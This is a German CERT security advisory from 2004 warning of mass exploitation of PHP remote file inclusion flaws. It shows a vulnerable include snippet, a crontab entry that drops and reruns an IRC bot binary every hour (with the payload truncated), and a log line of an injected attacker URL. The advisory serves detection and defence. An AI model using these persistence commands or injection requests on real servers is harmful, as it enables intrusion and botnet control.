[Warning] Massive Ausnutzung von Schwachstellen in PHP-Skripten

win-sec-ssc at dfn-cert.de win-sec-ssc at dfn-cert.de
Tue Oct 5 13:48:54 CEST 2004


-----BEGIN PGP SIGNED MESSAGE-----


Liebe Kolleginnen und Kollegen,

Zusammenfassung:

 Im Moment beobachten wir und andere deutsche CERTs eine massive
 Ausnutzung von Schwachstellen in unsicheren PHP-Skripten auf
 Webservern. Durch diese Schwachstellen kann ein Angreifer beliebigen
 Skript-Code in betroffene PHP-Skripte einfuegen. Allerdings benoetigt
 der Angreifer einen eigenen Webserver, um den Code bereitszustellen,
 der in die PHP-Skripte eingefuegt wird.  Gemaess vorliegender
 Meldungen wurden auf kompromittierten Systemen IRC-Bots installiert,
 mittels derer die Systeme ferngesteuert und zum Beispiel als
 Warez-FTP-Server oder fuer die Durchfuehrung von DDoS Attacken werden
 koennen.

Detailierte Beschreibung:

 Betroffen sind Webserver, wenn in der Konfiguration php.ini die Option

  "allow_url_fopen = on" 

 gesetzt ist und zusaetzlich ein PHP-Skript aufgerufen werden kann,
 das dynamisch Code auf unsichere Weise nachlaedt, z.B. mittels

  if (!isset($realm))
   {
        include "home.template";
   }
  else
   {
   include $realm ;
   }

 Die oben genannte Option bewirkt, dass Aufrufe der Funktion fopen()
 ueber einen URL-Wrapper durchgefuehrt werden. D.h. anstelle eines
 Pfades im lokalen Dateisystem kann eine URL auf einem entfernten
 Webserver angegeben werden. Die include Anweisung bindet in diesem
 Fall den Skript-Code ein, der nach einem HTTP-Request der URL von dem
 entfernten Webserver zurueckgegeben wird.

 Ein Angreifer kann diese Klasse von Schwachstellen mittels eines
 speziell konstruierten HTTP Get-Requests ausnuzten, in dem eine URL
 auf einen vom Angreifer kontrollierten Webserver beinhaltet ist.
 
 Der IRCBot ist bei den uns gemeldeten Systemen als Texteintrag in der
 Crontab der Apache-Benutzerkennung installiert, z.B.:

 # "\177\105\114\10 [...] \000\37777777777" > /tmp/tblihjauk ; chmod \
 700 /tmp/tblihjauk ; /tmp/tblihjauk x ; rm -f /tmp/tblihjauk
 34 * * * * /bin/echo `crontab -l|grep '.\{666\}'|sed 's/^./echo -e -n/'`|sh

 D.h. der Bot installiert sich jede Stunde aus der Crontab neu.

Erkennen von betroffenen Systemen:

 Betroffene Systeme koennen anhand der GET-Requests in den Webserver
 Logs erkannt werden, z.B.:

   192.168.1.1 - - [28/Sep/2004:18:03:07 +0200] "GET
   /pfad/zu/einem/script.php?variablenname=http://192.168.1.2:4213/
   HTTP/1.0" 200 15183 "-" "Wget/1.8.1"

  (Bitte beachten Sie, dass der Wert fuer "variablenname" variiert.)

  oder anhand der oben gezeigten Crontab-Eintraegen erkannt
  werden. 

Wir empfehlen, Webserver mit installierter PHP-Funktionalitaet auf
Einbruchspuren zu untersuchen. Bisher haben wir nur kompromittierte
Linux Systeme beobachtet, aber die Schwachstelle ist auch auf anderen
Betriebssystemen ausnutzbar. Um einen Ueberblick zur aktuellen Lage zu
bekommen wuerden wir uns ueber eine Rueckmeldung freuen, wenn Sie
feststellen mussten, dass ihr System kompromittiert wurde. Ihre Daten
werden natuerlich wie immer vertraulich behandelt.

Mit freundlichen Gruessen,

    Jan Kohlrausch

- -- 
Jan Kohlrausch (CSIRT), DFN-CERT Services GmbH
Web: https://www.dfn-cert.de/, Phone: +49-40-808077-555
PGP RSA/2048, A5DD03D1, A2 55 1C 51 0A 30 3E 78  5B 40 DA B7 14 F7 C9 E8

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (SunOS)
Comment: Processed by Mailcrypt 3.5.8 <http://mailcrypt.sourceforge.net/>

iQEVAwUBQWKJJuI9ttyl3QPRAQEaigf+LNF2+6zj4USVHWFMiJqOLBSWuP4zLxGD
Ov0kyyY98bAt0WgS0JFU+V6aknNuB6dWuUUaGxx+6LONdwKs2y4ALLSoanoM68oV
VoPWa5/4Eb+dBzmpdCDMtI3428BmYYQui4o/GetzXNxT1vLHy/v0m1h+JhVqNezJ
4kpFqk0vT6Wjtc93QjYmaSW7J+CFcEc6/lZxITlZoasb5ZfeJRe3qQp4X/FoFBYo
pmLrxDjucQbQ6vQUoqFWPXBzf5j0IrNJdQR/NRsd/8RhQDuM2a/ChcfwwB8ii2Kv
SL6nJ8ygIz4/Ak18pQsTVui07yH1aOBBRBoBWffruwVGSvWb52SXOA==
=zvc0
-----END PGP SIGNATURE-----




More information about the Security-Announce mailing list